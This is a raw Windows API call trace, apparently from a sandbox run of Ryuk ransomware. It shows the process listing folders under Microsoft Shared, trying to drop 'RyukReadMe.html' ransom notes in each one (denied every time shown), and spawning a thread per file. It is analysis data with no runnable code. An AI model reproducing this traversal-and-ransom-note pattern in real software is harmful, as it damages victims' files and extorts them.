	[0123.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1
	[0123.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0123.756] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.765] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1
	[0123.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4
	[0123.769] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.770] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0
	[0123.770] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0123.771] SetLastError (dwErrCode=0x0) 
	[0123.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.771] GetLastError () returned 0x5
	[0123.771] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.771] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.771] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0123.771] SetLastError (dwErrCode=0x0) 
	[0123.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.772] GetLastError () returned 0x5
	[0123.772] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0123.776] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.776] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1
	[0123.776] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0
	[0123.777] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0123.777] SetLastError (dwErrCode=0x0) 
	[0123.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.777] GetLastError () returned 0x5
	[0123.777] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.777] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.778] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0123.778] SetLastError (dwErrCode=0x0) 
	[0123.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.778] GetLastError () returned 0x5
	[0123.778] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0123.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1
	[0123.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x7c, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1
	[0123.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1
	[0123.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1
	[0123.782] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0
	[0123.782] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0123.782] SetLastError (dwErrCode=0x0) 
	[0123.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.782] GetLastError () returned 0x5
	[0123.782] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.783] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0123.783] SetLastError (dwErrCode=0x0) 
	[0123.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.783] GetLastError () returned 0x5
	[0123.783] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0123.790] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.790] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1
	[0123.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0123.793] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.793] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1
	[0123.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0123.797] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.797] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1
	[0123.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0123.800] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.801] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1
	[0123.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0124.142] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.157] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1
	[0124.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0124.164] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.164] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1
	[0124.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0124.167] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.167] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1
	[0124.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0124.169] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.170] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1
	[0124.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0124.172] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.173] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1
	[0124.173] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0124.176] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.176] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1
	[0124.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0124.178] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
